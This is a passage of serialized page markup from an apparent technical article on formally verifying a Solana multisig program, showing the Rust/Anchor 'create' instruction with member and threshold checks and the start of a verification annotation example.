guarantees",{"type":23,"tag":837,"props":22024,"children":22026},{"id":22025},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[22027],{"type":28,"value":22028},"1. Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":24,"props":22030,"children":22031},{},[22032,22034,22039],{"type":28,"value":22033},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":23,"tag":94,"props":22035,"children":22037},{"className":22036},[],[22038],{"type":28,"value":19392},{"type":28,"value":22040}," expression.",{"type":23,"tag":24,"props":22042,"children":22043},{},[22044,22046,22051,22053,22059],{"type":28,"value":22045},"Creating a multisig (",{"type":23,"tag":94,"props":22047,"children":22049},{"className":22048},[],[22050],{"type":28,"value":21979},{"type":28,"value":22052},") requires invoking the ",{"type":23,"tag":94,"props":22054,"children":22056},{"className":22055},[],[22057],{"type":28,"value":22058},"create",{"type":28,"value":22060}," instruction:",{"type":23,"tag":304,"props":22062,"children":22064},{"code":22063,"language":2233,"meta":7,"className":2234,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[22065],{"type":23,"tag":94,"props":22066,"children":22067},{"__ignoreMap":7},[22068,22085,22140,22170,22178,22186,22203,22254,22304,22312,22353,22360,22376,22409,22451,22458,22465,22484,22512,22532,22552,22580,22599,22607,22635,22655,22675,22682,22690,22722,22745,22779,22786,22793,22801,22843,22876,22884,22892,22901,22977,23010,23018,23026,23063,23076,23089,23102,23156,23165],{"type":23,"tag":314,"props":22069,"children":22070},{"class":316,"line":317},[22071,22076,22081],{"type":23,"tag":314,"props":22072,"children":22073},{"style":338},[22074],{"type":28,"value":22075},"#[derive(",{"type":23,"tag":314,"props":22077,"children":22078},{"style":2674},[22079],{"type":28,"value":22080},"Accounts",{"type":23,"tag":314,"props":22082,"children":22083},{"style":338},[22084],{"type":28,"value":19496},{"type":23,"tag":314,"props":22086,"children":22087},{"class":316,"line":370},[22088,22093,22097,22101,22106,22110,22114,22119,22123,22127,22131,22135],{"type":23,"tag":314,"props":22089,"children":22090},{"style":338},[22091],{"type":28,"value":22092},"#[instruction(threshold",{"type":23,"tag":314,"props":22094,"children":22095},{"style":354},[22096],{"type":28,"value":3746},{"type":23,"tag":314,"props":22098,"children":22099},{"style":2674},[22100],{"type":28,"value":20267},{"type":23,"tag":314,"props":22102,"children":22103},{"style":338},[22104],{"type":28,"value":22105},", create_key",{"type":23,"tag":314,"props":22107,"children":22108},{"style":354},[22109],{"type":28,"value":3746},{"type":23,"tag":314,"props":22111,"children":22112},{"style":2674},[22113],{"type":28,"value":20094},{"type":23,"tag":314,"props":22115,"children":22116},{"style":338},[22117],{"type":28,"value":22118},", members",{"type":23,"tag":314,"props":22120,"children":22121},{"style":354},[22122],{"type":28,"value":3746},{"type":23,"tag":314,"props":22124,"children":22125},{"style":2674},[22126],{"type":28,"value":20626},{"type":23,"tag":314,"props":22128,"children":22129},{"style":338},[22130],{"type":28,"value":5060},{"type":23,"tag":314,"props":22132,"children":22133},{"style":2674},[22134],{"type":28,"value":20635},{"type":23,"tag":314,"props":22136,"children":22137},{"style":338},[22138],{"type":28,"value":22139},">)]\n",{"type":23,"tag":314,"props":22141,"children":22142},{"class":316,"line":380},[22143,22147,22151,22156,22161,22166],{"type":23,"tag":314,"props":22144,"children":22145},{"style":321},[22146],{"type":28,"value":12938},{"type":23,"tag":314,"props":22148,"children":22149},{"style":321},[22150],{"type":28,"value":20388},{"type":23,"tag":314,"props":22152,"children":22153},{"style":2674},[22154],{"type":28,"value":22155}," Create",{"type":23,"tag":314,"props":22157,"children":22158},{"style":338},[22159],{"type":28,"value":22160},"\u003C'",{"type":23,"tag":314,"props":22162,"children":22163},{"style":2674},[22164],{"type":28,"value":22165},"info",{"type":23,"tag":314,"props":22167,"children":22168},{"style":338},[22169],{"type":28,"value":6536},{"type":23,"tag":314,"props":22171,"children":22172},{"class":316,"line":1091},[22173],{"type":23,"tag":314,"props":22174,"children":22175},{"style":338},[22176],{"type":28,"value":22177}," #[account(\n",{"type":23,"tag":314,"props":22179,"children":22180},{"class":316,"line":1141},[22181],{"type":23,"tag":314,"props":22182,"children":22183},{"style":338},[22184],{"type":28,"value":22185}," init,\n",{"type":23,"tag":314,"props":22187,"children":22188},{"class":316,"line":1173},[22189,22194,22198],{"type":23,"tag":314,"props":22190,"children":22191},{"style":338},[22192],{"type":28,"value":22193}," payer ",{"type":23,"tag":314,"props":22195,"children":22196},{"style":354},[22197],{"type":28,"value":1102},{"type":23,"tag":314,"props":22199,"children":22200},{"style":338},[22201],{"type":28,"value":22202}," creator,\n",{"type":23,"tag":314,"props":22204,"children":22205},{"class":316,"line":1208},[22206,22211,22215,22219,22223,22228,22232,22237,22241,22245,22249],{"type":23,"tag":314,"props":22207,"children":22208},{"style":338},[22209],{"type":28,"value":22210}," space ",{"type":23,"tag":314,"props":22212,"children":22213},{"style":354},[22214],{"type":28,"value":1102},{"type":23,"tag":314,"props":22216,"children":22217},{"style":2674},[22218],{"type":28,"value":20393},{"type":23,"tag":314,"props":22220,"children":22221},{"style":354},[22222],{"type":28,"value":2737},{"type":23,"tag":314,"props":22224,"children":22225},{"style":2674},[22226],{"type":28,"value":22227},"SIZE_WITHOUT_MEMBERS",{"type":23,"tag":314,"props":22229,"children":22230},{"style":354},[22231],{"type":28,"value":1572},{"type":23,"tag":314,"props":22233,"children":22234},{"style":338},[22235],{"type":28,"value":22236}," (members",{"type":23,"tag":314,"props":22238,"children":22239},{"style":354},[22240],{"type":28,"value":282},{"type":23,"tag":314,"props":22242,"children":22243},{"style":338},[22244],{"type":28,"value":20258},{"type":23,"tag":314,"props":22246,"children":22247},{"style":354},[22248],{"type":28,"value":256},{"type":23,"tag":314,"props":22250,"children":22251},{"style":338},[22252],{"type":28,"value":22253}," 32),\n",{"type":23,"tag":314,"props":22255,"children":22256},{"class":316,"line":1216},[22257,22262,22266,22271,22276,22280,22284,22289,22294,22299],{"type":23,"tag":314,"props":22258,"children":22259},{"style":338},[22260],{"type":28,"value":22261}," seeds ",{"type":23,"tag":314,"props":22263,"children":22264},{"style":354},[22265],{"type":28,"value":1102},{"type":23,"tag":314,"props":22267,"children":22268},{"style":338},[22269],{"type":28,"value":22270}," [",{"type":23,"tag":314,"props":22272,"children":22273},{"style":1245},[22274],{"type":28,"value":22275},"b\"squad\"",{"type":23,"tag":314,"props":22277,"children":22278},{"style":338},[22279],{"type":28,"value":22105},{"type":23,"tag":314,"props":22281,"children":22282},{"style":354},[22283],{"type":28,"value":282},{"type":23,"tag":314,"props":22285,"children":22286},{"style":338},[22287],{"type":28,"value":22288},"as_ref(), ",{"type":23,"tag":314,"props":22290,"children":22291},{"style":1245},[22292],{"type":28,"value":22293},"b\"multisig\"",{"type":23,"tag":314,"props":22295,"children":22296},{"style":338},[22297],{"type":28,"value":22298},"], ",{"type":23,"tag":314,"props":22300,"children":22301},{"style":360},[22302],{"type":28,"value":22303},"bump\n",{"type":23,"tag":314,"props":22305,"children":22306},{"class":316,"line":1301},[22307],{"type":23,"tag":314,"props":22308,"children":22309},{"style":338},[22310],{"type":28,"value":22311}," )]\n",{"type":23,"tag":314,"props":22313,"children":22314},{"class":316,"line":1343},[22315,22319,22324,22328,22333,22337,22341,22345,22349],{"type":23,"tag":314,"props":22316,"children":22317},{"style":321},[22318],{"type":28,"value":20080},{"type":23,"tag":314,"props":22320,"children":22321},{"style":360},[22322],{"type":28,"value":22323}," multisig",{"type":23,"tag":314,"props":22325,"children":22326},{"style":354},[22327],{"type":28,"value":3746},{"type":23,"tag":314,"props":22329,"children":22330},{"style":2674},[22331],{"type":28,"value":22332}," Account",{"type":23,"tag":314,"props":22334,"children":22335},{"style":338},[22336],{"type":28,"value":22160},{"type":23,"tag":314,"props":22338,"children":22339},{"style":2674},[22340],{"type":28,"value":22165},{"type":23,"tag":314,"props":22342,"children":22343},{"style":338},[22344],{"type":28,"value":778},{"type":23,"tag":314,"props":22346,"children":22347},{"style":2674},[22348],{"type":28,"value":21979},{"type":23,"tag":314,"props":22350,"children":22351},{"style":338},[22352],{"type":28,"value":5393},{"type":23,"tag":314,"props":22354,"children":22355},{"class":316,"line":1351},[22356],{"type":23,"tag":314,"props":22357,"children":22358},{"emptyLinePlaceholder":18},[22359],{"type":28,"value":1088},{"type":23,"tag":314,"props":22361,"children":22362},{"class":316,"line":1387},[22363,22368,22372],{"type":23,"tag":314,"props":22364,"children":22365},{"style":338},[22366],{"type":28,"value":22367}," #[account(",{"type":23,"tag":314,"props":22369,"children":22370},{"style":321},[22371],{"type":28,"value":2979},{"type":23,"tag":314,"props":22373,"children":22374},{"style":338},[22375],{"type":28,"value":19496},{"type":23,"tag":314,"props":22377,"children":22378},{"class":316,"line":1422},[22379,22383,22388,22392,22397,22401,22405],{"type":23,"tag":314,"props":22380,"children":22381},{"style":321},[22382],{"type":28,"value":20080},{"type":23,"tag":314,"props":22384,"children":22385},{"style":360},[22386],{"type":28,"value":22387}," creator",{"type":23,"tag":314,"props":22389,"children":22390},{"style":354},[22391],{"type":28,"value":3746},{"type":23,"tag":314,"props":22393,"children":22394},{"style":2674},[22395],{"type":28,"value":22396}," Signer",{"type":23,"tag":314,"props":22398,"children":22399},{"style":338},[22400],{"type":28,"value":22160},{"type":23,"tag":314,"props":22402,"children":22403},{"style":2674},[22404],{"type":28,"value":22165},{"type":23,"tag":314,"props":22406,"children":22407},{"style":338},[22408],{"type":28,"value":5393},{"type":23,"tag":314,"props":22410,"children":22411},{"class":316,"line":1430},[22412,22416,22421,22425,22430,22434,22438,22442,22447],{"type":23,"tag":314,"props":22413,"children":22414},{"style":321},[22415],{"type":28,"value":20080},{"type":23,"tag":314,"props":22417,"children":22418},{"style":360},[22419],{"type":28,"value":22420}," system_program",{"type":23,"tag":314,"props":22422,"children":22423},{"style":354},[22424],{"type":28,"value":3746},{"type":23,"tag":314,"props":22426,"children":22427},{"style":2674},[22428],{"type":28,"value":22429}," Program",{"type":23,"tag":314,"props":22431,"children":22432},{"style":338},[22433],{"type":28,"value":22160},{"type":23,"tag":314,"props":22435,"children":22436},{"style":2674},[22437],{"type":28,"value":22165},{"type":23,"tag":314,"props":22439,"children":22440},{"style":338},[22441],{"type":28,"value":778},{"type":23,"tag":314,"props":22443,"children":22444},{"style":2674},[22445],{"type":28,"value":22446},"System",{"type":23,"tag":314,"props":22448,"children":22449},{"style":338},[22450],{"type":28,"value":5393},{"type":23,"tag":314,"props":22452,"children":22453},{"class":316,"line":1452},[22454],{"type":23,"tag":314,"props":22455,"children":22456},{"style":338},[22457],{"type":28,"value":386},{"type":23,"tag":314,"props":22459,"children":22460},{"class":316,"line":1497},[22461],{"type":23,"tag":314,"props":22462,"children":22463},{"emptyLinePlaceholder":18},[22464],{"type":28,"value":1088},{"type":23,"tag":314,"props":22466,"children":22467},{"class":316,"line":1539},[22468,22472,22476,22480],{"type":23,"tag":314,"props":22469,"children":22470},{"style":321},[22471],{"type":28,"value":12938},{"type":23,"tag":314,"props":22473,"children":22474},{"style":321},[22475],{"type":28,"value":12943},{"type":23,"tag":314,"props":22477,"children":22478},{"style":332},[22479],{"type":28,"value":6368},{"type":23,"tag":314,"props":22481,"children":22482},{"style":338},[22483],{"type":28,"value":2719},{"type":23,"tag":314,"props":22485,"children":22486},{"class":316,"line":1548},[22487,22491,22495,22499,22503,22508],{"type":23,"tag":314,"props":22488,"children":22489},{"style":360},[22490],{"type":28,"value":19461},{"type":23,"tag":314,"props":22492,"children":22493},{"style":354},[22494],{"type":28,"value":3746},{"type":23,"tag":314,"props":22496,"children":22497},{"style":2674},[22498],{"type":28,"value":19527},{"type":23,"tag":314,"props":22500,"children":22501},{"style":338},[22502],{"type":28,"value":5060},{"type":23,"tag":314,"props":22504,"children":22505},{"style":2674},[22506],{"type":28,"value":22507},"Create",{"type":23,"tag":314,"props":22509,"children":22510},{"style":338},[22511],{"type":28,"value":5393},{"type":23,"tag":314,"props":22513,"children":22514},{"class":316,"line":1584},[22515,22520,22524,22528],{"type":23,"tag":314,"props":22516,"children":22517},{"style":360},[22518],{"type":28,"value":22519}," threshold",{"type":23,"tag":314,"props":22521,"children":22522},{"style":354},[22523],{"type":28,"value":3746},{"type":23,"tag":314,"props":22525,"children":22526},{"style":2674},[22527],{"type":28,"value":20267},{"type":23,"tag":314,"props":22529,"children":22530},{"style":338},[22531],{"type":28,"value":1870},{"type":23,"tag":314,"props":22533,"children":22534},{"class":316,"line":1617},[22535,22540,22544,22548],{"type":23,"tag":314,"props":22536,"children":22537},{"style":360},[22538],{"type":28,"value":22539}," create_key",{"type":23,"tag":314,"props":22541,"children":22542},{"style":354},[22543],{"type":28,"value":3746},{"type":23,"tag":314,"props":22545,"children":22546},{"style":2674},[22547],{"type":28,"value":20094},{"type":23,"tag":314,"props":22549,"children":22550},{"style":338},[22551],{"type":28,"value":1870},{"type":23,"tag":314,"props":22553,"children":22554},{"class":316,"line":1625},[22555,22560,22564,22568,22572,22576],{"type":23,"tag":314,"props":22556,"children":22557},{"style":360},[22558],{"type":28,"value":22559}," members",{"type":23,"tag":314,"props":22561,"children":22562},{"style":354},[22563],{"type":28,"value":3746},{"type":23,"tag":314,"props":22565,"children":22566},{"style":2674},[22567],{"type":28,"value":20626},{"type":23,"tag":314,"props":22569,"children":22570},{"style":338},[22571],{"type":28,"value":5060},{"type":23,"tag":314,"props":22573,"children":22574},{"style":2674},[22575],{"type":28,"value":20635},{"type":23,"tag":314,"props":22577,"children":22578},{"style":338},[22579],{"type":28,"value":5393},{"type":23,"tag":314,"props":22581,"children":22582},{"class":316,"line":1660},[22583,22587,22591,22595],{"type":23,"tag":314,"props":22584,"children":22585},{"style":338},[22586],{"type":28,"value":2343},{"type":23,"tag":314,"props":22588,"children":22589},{"style":354},[22590],{"type":28,"value":1015},{"type":23,"tag":314,"props":22592,"children":22593},{"style":2674},[22594],{"type":28,"value":13009},{"type":23,"tag":314,"props":22596,"children":22597},{"style":338},[22598],{"type":28,"value":19569},{"type":23,"tag":314,"props":22600,"children":22601},{"class":316,"line":1708},[22602],{"type":23,"tag":314,"props":22603,"children":22604},{"style":374},[22605],{"type":28,"value":22606}," // sort the members and remove duplicates\n",{"type":23,"tag":314,"props":22608,"children":22609},{"class":316,"line":1743},[22610,22614,22618,22623,22627,22631],{"type":23,"tag":314,"props":22611,"children":22612},{"style":321},[22613],{"type":28,"value":2254},{"type":23,"tag":314,"props":22615,"children":22616},{"style":321},[22617],{"type":28,"value":2259},{"type":23,"tag":314,"props":22619,"children":22620},{"style":360},[22621],{"type":28,"value":22622}," members",{"type":23,"tag":314,"props":22624,"children":22625},{"style":354},[22626],{"type":28,"value":1237},{"type":23,"tag":314,"props":22628,"children":22629},{"style":360},[22630],{"type":28,"value":22622},{"type":23,"tag":314,"props":22632,"children":22633},{"style":338},[22634],{"type":28,"value":2278},{"type":23,"tag":314,"props":22636,"children":22637},{"class":316,"line":1751},[22638,22642,22646,22651],{"type":23,"tag":314,"props":22639,"children":22640},{"style":360},[22641],{"type":28,"value":22559},{"type":23,"tag":314,"props":22643,"children":22644},{"style":354},[22645],{"type":28,"value":282},{"type":23,"tag":314,"props":22647,"children":22648},{"style":332},[22649],{"type":28,"value":22650},"sort",{"type":23,"tag":314,"props":22652,"children":22653},{"style":338},[22654],{"type":28,"value":2926},{"type":23,"tag":314,"props":22656,"children":22657},{"class":316,"line":1791},[22658,22662,22666,22671],{"type":23,"tag":314,"props":22659,"children":22660},{"style":360},[22661],{"type":28,"value":22559},{"type":23,"tag":314,"props":22663,"children":22664},{"style":354},[22665],{"type":28,"value":282},{"type":23,"tag":314,"props":22667,"children":22668},{"style":332},[22669],{"type":28,"value":22670},"dedup",{"type":23,"tag":314,"props":22672,"children":22673},{"style":338},[22674],{"type":28,"value":2926},{"type":23,"tag":314,"props":22676,"children":22677},{"class":316,"line":1805},[22678],{"type":23,"tag":314,"props":22679,"children":22680},{"emptyLinePlaceholder":18},[22681],{"type":28,"value":1088},{"type":23,"tag":314,"props":22683,"children":22684},{"class":316,"line":1818},[22685],{"type":23,"tag":314,"props":22686,"children":22687},{"style":374},[22688],{"type":28,"value":22689}," // check we don't exceed u16\n",{"type":23,"tag":314,"props":22691,"children":22692},{"class":316,"line":1873},[22693,22697,22702,22706,22710,22714,22718],{"type":23,"tag":314,"props":22694,"children":22695},{"style":321},[22696],{"type":28,"value":2254},{"type":23,"tag":314,"props":22698,"children":22699},{"style":360},[22700],{"type":28,"value":22701}," total_members",{"type":23,"tag":314,"props":22703,"children":22704},{"style":354},[22705],{"type":28,"value":1237},{"type":23,"tag":314,"props":22707,"children":22708},{"style":360},[22709],{"type":28,"value":22622},{"type":23,"tag":314,"props":22711,"children":22712},{"style":354},[22713],{"type":28,"value":282},{"type":23,"tag":314,"props":22715,"children":22716},{"style":332},[22717],{"type":28,"value":8389},{"type":23,"tag":314,"props":22719,"children":22720},{"style":338},[22721],{"type":28,"value":2926},{"type":23,"tag":314,"props":22723,"children":22724},{"class":316,"line":1891},[22725,22729,22733,22737,22741],{"type":23,"tag":314,"props":22726,"children":22727},{"style":2284},[22728],{"type":28,"value":11527},{"type":23,"tag":314,"props":22730,"children":22731},{"style":360},[22732],{"type":28,"value":22701},{"type":23,"tag":314,"props":22734,"children":22735},{"style":354},[22736],{"type":28,"value":7971},{"type":23,"tag":314,"props":22738,"children":22739},{"style":1054},[22740],{"type":28,"value":3778},{"type":23,"tag":314,"props":22742,"children":22743},{"style":338},[22744],{"type":28,"value":1449},{"type":23,"tag":314,"props":22746,"children":22747},{"class":316,"line":1899},[22748,22752,22757,22761,22766,22770,22775],{"type":23,"tag":314,"props":22749,"children":22750},{"style":2284},[22751],{"type":28,"value":14985},{"type":23,"tag":314,"props":22753,"children":22754},{"style":332},[22755],{"type":28,"value":22756}," err!",{"type":23,"tag":314,"props":22758,"children":22759},{"style":338},[22760],{"type":28,"value":341},{"type":23,"tag":314,"props":22762,"children":22763},{"style":2674},[22764],{"type":28,"value":22765},"MsError",{"type":23,"tag":314,"props":22767,"children":22768},{"style":354},[22769],{"type":28,"value":2737},{"type":23,"tag":314,"props":22771,"children":22772},{"style":2674},[22773],{"type":28,"value":22774},"EmptyMembers",{"type":23,"tag":314,"props":22776,"children":22777},{"style":338},[22778],{"type":28,"value":1025},{"type":23,"tag":314,"props":22780,"children":22781},{"class":316,"line":1944},[22782],{"type":23,"tag":314,"props":22783,"children":22784},{"style":338},[22785],{"type":28,"value":2610},{"type":23,"tag":314,"props":22787,"children":22788},{"class":316,"line":2008},[22789],{"type":23,"tag":314,"props":22790,"children":22791},{"emptyLinePlaceholder":18},[22792],{"type":28,"value":1088},{"type":23,"tag":314,"props":22794,"children":22795},{"class":316,"line":2043},[22796],{"type":23,"tag":314,"props":22797,"children":22798},{"style":374},[22799],{"type":28,"value":22800}," // make sure we don't exceed u16 on first call\n",{"type":23,"tag":314,"props":22802,"children":22804},{"class":316,"line":22803},35,[22805,22809,22813,22817,22821,22825,22829,22834,22838],{"type":23,"tag":314,"props":22806,"children":22807},{"style":2284},[22808],{"type":28,"value":11527},{"type":23,"tag":314,"props":22810,"children":22811},{"style":360},[22812],{"type":28,"value":22701},{"type":23,"tag":314,"props":22814,"children":22815},{"style":354},[22816],{"type":28,"value":13441},{"type":23,"tag":314,"props":22818,"children":22819},{"style":2674},[22820],{"type":28,"value":12979},{"type":23,"tag":314,"props":22822,"children":22823},{"style":354},[22824],{"type":28,"value":2737},{"type":23,"tag":314,"props":22826,"children":22827},{"style":332},[22828],{"type":28,"value":18711},{"type":23,"tag":314,"props":22830,"children":22831},{"style":338},[22832],{"type":28,"value":22833},"(u16",{"type":23,"tag":314,"props":22835,"children":22836},{"style":354},[22837],{"type":28,"value":2737},{"type":23,"tag":314,"props":22839,"children":22840},{"style":338},[22841],{"type":28,"value":22842},"MAX) {\n",{"type":23,"tag":314,"props":22844,"children":22846},{"class":316,"line":22845},36,[22847,22851,22855,22859,22863,22867,22872],{"type":23,"tag":314,"props":22848,"children":22849},{"style":2284},[22850],{"type":28,"value":14985},{"type":23,"tag":314,"props":22852,"children":22853},{"style":332},[22854],{"type":28,"value":22756},{"type":23,"tag":314,"props":22856,"children":22857},{"style":338},[22858],{"type":28,"value":341},{"type":23,"tag":314,"props":22860,"children":22861},{"style":2674},[22862],{"type":28,"value":22765},{"type":23,"tag":314,"props":22864,"children":22865},{"style":354},[22866],{"type":28,"value":2737},{"type":23,"tag":314,"props":22868,"children":22869},{"style":2674},[22870],{"type":28,"value":22871},"MaxMembersReached",{"type":23,"tag":314,"props":22873,"children":22874},{"style":338},[22875],{"type":28,"value":1025},{"type":23,"tag":314,"props":22877,"children":22879},{"class":316,"line":22878},37,[22880],{"type":23,"tag":314,"props":22881,"children":22882},{"style":338},[22883],{"type":28,"value":2610},{"type":23,"tag":314,"props":22885,"children":22887},{"class":316,"line":22886},38,[22888],{"type":23,"tag":314,"props":22889,"children":22890},{"emptyLinePlaceholder":18},[22891],{"type":28,"value":1088},{"type":23,"tag":314,"props":22893,"children":22895},{"class":316,"line":22894},39,[22896],{"type":23,"tag":314,"props":22897,"children":22898},{"style":374},[22899],{"type":28,"value":22900}," // make sure threshold is valid\n",{"type":23,"tag":314,"props":22902,"children":22904},{"class":316,"line":22903},40,[22905,22909,22913,22917,22921,22925,22929,22934,22938,22943,22947,22951,22955,22959,22963,22968,22973],{"type":23,"tag":314,"props":22906,"children":22907},{"style":2284},[22908],{"type":28,"value":11527},{"type":23,"tag":314,"props":22910,"children":22911},{"style":2674},[22912],{"type":28,"value":12979},{"type":23,"tag":314,"props":22914,"children":22915},{"style":354},[22916],{"type":28,"value":2737},{"type":23,"tag":314,"props":22918,"children":22919},{"style":332},[22920],{"type":28,"value":18711},{"type":23,"tag":314,"props":22922,"children":22923},{"style":338},[22924],{"type":28,"value":341},{"type":23,"tag":314,"props":22926,"children":22927},{"style":360},[22928],{"type":28,"value":21987},{"type":23,"tag":314,"props":22930,"children":22931},{"style":338},[22932],{"type":28,"value":22933},") \u003C ",{"type":23,"tag":314,"props":22935,"children":22936},{"style":1054},[22937],{"type":28,"value":3267},{"type":23,"tag":314,"props":22939,"children":22940},{"style":354},[22941],{"type":28,"value":22942}," ||",{"type":23,"tag":314,"props":22944,"children":22945},{"style":2674},[22946],{"type":28,"value":12979},{"type":23,"tag":314,"props":22948,"children":22949},{"style":354},[22950],{"type":28,"value":2737},{"type":23,"tag":314,"props":22952,"children":22953},{"style":332},[22954],{"type":28,"value":18711},{"type":23,"tag":314,"props":22956,"children":22957},{"style":338},[22958],{"type":28,"value":341},{"type":23,"tag":314,"props":22960,"children":22961},{"style":360},[22962],{"type":28,"value":21987},{"type":23,"tag":314,"props":22964,"children":22965},{"style":338},[22966],{"type":28,"value":22967},") > ",{"type":23,"tag":314,"props":22969,"children":22970},{"style":360},[22971],{"type":28,"value":22972},"total_members",{"type":23,"tag":314,"props":22974,"children":22975},{"style":338},[22976],{"type":28,"value":1449},{"type":23,"tag":314,"props":22978,"children":22980},{"class":316,"line":22979},41,[22981,22985,22989,22993,22997,23001,23006],{"type":23,"tag":314,"props":22982,"children":22983},{"style":2284},[22984],{"type":28,"value":14985},{"type":23,"tag":314,"props":22986,"children":22987},{"style":332},[22988],{"type":28,"value":22756},{"type":23,"tag":314,"props":22990,"children":22991},{"style":338},[22992],{"type":28,"value":341},{"type":23,"tag":314,"props":22994,"children":22995},{"style":2674},[22996],{"type":28,"value":22765},{"type":23,"tag":314,"props":22998,"children":22999},{"style":354},[23000],{"type":28,"value":2737},{"type":23,"tag":314,"props":23002,"children":23003},{"style":2674},[23004],{"type":28,"value":23005},"InvalidThreshold",{"type":23,"tag":314,"props":23007,"children":23008},{"style":338},[23009],{"type":28,"value":1025},{"type":23,"tag":314,"props":23011,"children":23013},{"class":316,"line":23012},42,[23014],{"type":23,"tag":314,"props":23015,"children":23016},{"style":338},[23017],{"type":28,"value":2610},{"type":23,"tag":314,"props":23019,"children":23021},{"class":316,"line":23020},43,[23022],{"type":23,"tag":314,"props":23023,"children":23024},{"emptyLinePlaceholder":18},[23025],{"type":28,"value":1088},{"type":23,"tag":314,"props":23027,"children":23029},{"class":316,"line":23028},44,[23030,23034,23038,23042,23046,23051,23055,23059],{"type":23,"tag":314,"props":23031,"children":23032},{"style":360},[23033],{"type":28,"value":19461},{"type":23,"tag":314,"props":23035,"children":23036},{"style":354},[23037],{"type":28,"value":282},{"type":23,"tag":314,"props":23039,"children":23040},{"style":338},[23041],{"type":28,"value":238},{"type":23,"tag":314,"props":23043,"children":23044},{"style":354},[23045],{"type":28,"value":282},{"type":23,"tag":314,"props":23047,"children":23048},{"style":338},[23049],{"type":28,"value":23050},"multisig",{"type":23,"tag":314,"props":23052,"children":23053},{"style":354},[23054],{"type":28,"value":282},{"type":23,"tag":314,"props":23056,"children":23057},{"style":332},[23058],{"type":28,"value":19978},{"type":23,"tag":314,"props":23060,"children":23061},{"style":338},[23062],{"type":28,"value":2719},{"type":23,"tag":314,"props":23064,"children":23066},{"class":316,"line":23065},45,[23067,23072],{"type":23,"tag":314,"props":23068,"children":23069},{"style":360},[23070],{"type":28,"value":23071}," threshold",{"type":23,"tag":314,"props":23073,"children":23074},{"style":338},[23075],{"type":28,"value":1870},{"type":23,"tag":314,"props":23077,"children":23079},{"class":316,"line":23078},46,[23080,23085],{"type":23,"tag":314,"props":23081,"children":23082},{"style":360},[23083],{"type":28,"value":23084}," create_key",{"type":23,"tag":314,"props":23086,"children":23087},{"style":338},[23088],{"type":28,"value":1870},{"type":23,"tag":314,"props":23090,"children":23092},{"class":316,"line":23091},47,[23093,23098],{"type":23,"tag":314,"props":23094,"children":23095},{"style":360},[23096],{"type":28,"value":23097}," members",{"type":23,"tag":314,"props":23099,"children":23100},{"style":338},[23101],{"type":28,"value":1870},{"type":23,"tag":314,"props":23103,"children":23105},{"class":316,"line":23104},48,[23106,23110,23114,23118,23123,23127,23131,23135,23140,23144,23148,23152],{"type":23,"tag":314,"props":23107,"children":23108},{"style":354},[23109],{"type":28,"value":7006},{"type":23,"tag":314,"props":23111,"children":23112},{"style":360},[23113],{"type":28,"value":19518},{"type":23,"tag":314,"props":23115,"children":23116},{"style":354},[23117],{"type":28,"value":282},{"type":23,"tag":314,"props":23119,"children":23120},{"style":338},[23121],{"type":28,"value":23122},"bumps",{"type":23,"tag":314,"props":23124,"children":23125},{"style":354},[23126],{"type":28,"value":282},{"type":23,"tag":314,"props":23128,"children":23129},{"style":332},[23130],{"type":28,"value":15593},{"type":23,"tag":314,"props":23132,"children":23133},{"style":338},[23134],{"type":28,"value":341},{"type":23,"tag":314,"props":23136,"children":23137},{"style":1245},[23138],{"type":28,"value":23139},"\"multisig\"",{"type":23,"tag":314,"props":23141,"children":23142},{"style":338},[23143],{"type":28,"value":431},{"type":23,"tag":314,"props":23145,"children":23146},{"style":354},[23147],{"type":28,"value":282},{"type":23,"tag":314,"props":23149,"children":23150},{"style":332},[23151],{"type":28,"value":2921},{"type":23,"tag":314,"props":23153,"children":23154},{"style":338},[23155],{"type":28,"value":2747},{"type":23,"tag":314,"props":23157,"children":23159},{"class":316,"line":23158},49,[23160],{"type":23,"tag":314,"props":23161,"children":23162},{"style":338},[23163],{"type":28,"value":23164}," )\n",{"type":23,"tag":314,"props":23166,"children":23168},{"class":316,"line":23167},50,[23169],{"type":23,"tag":314,"props":23170,"children":23171},{"style":338},[23172],{"type":28,"value":386},{"type":23,"tag":24,"props":23174,"children":23175},{},[23176,23178,23183,23185,23190],{"type":28,"value":23177},"We can start by testing an empty ",{"type":23,"tag":94,"props":23179,"children":23181},{"className":23180},[],[23182],{"type":28,"value":19392},{"type":28,"value":23184}," (this will default to ",{"type":23,"tag":94,"props":23186,"children":23188},{"className":23187},[],[23189],{"type":28,"value":1481},{"type":28,"value":23191},"):",{"type":23,"tag":304,"props":23193,"children":23195},{"code":23194,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if()]\npub fn create(...) { ... 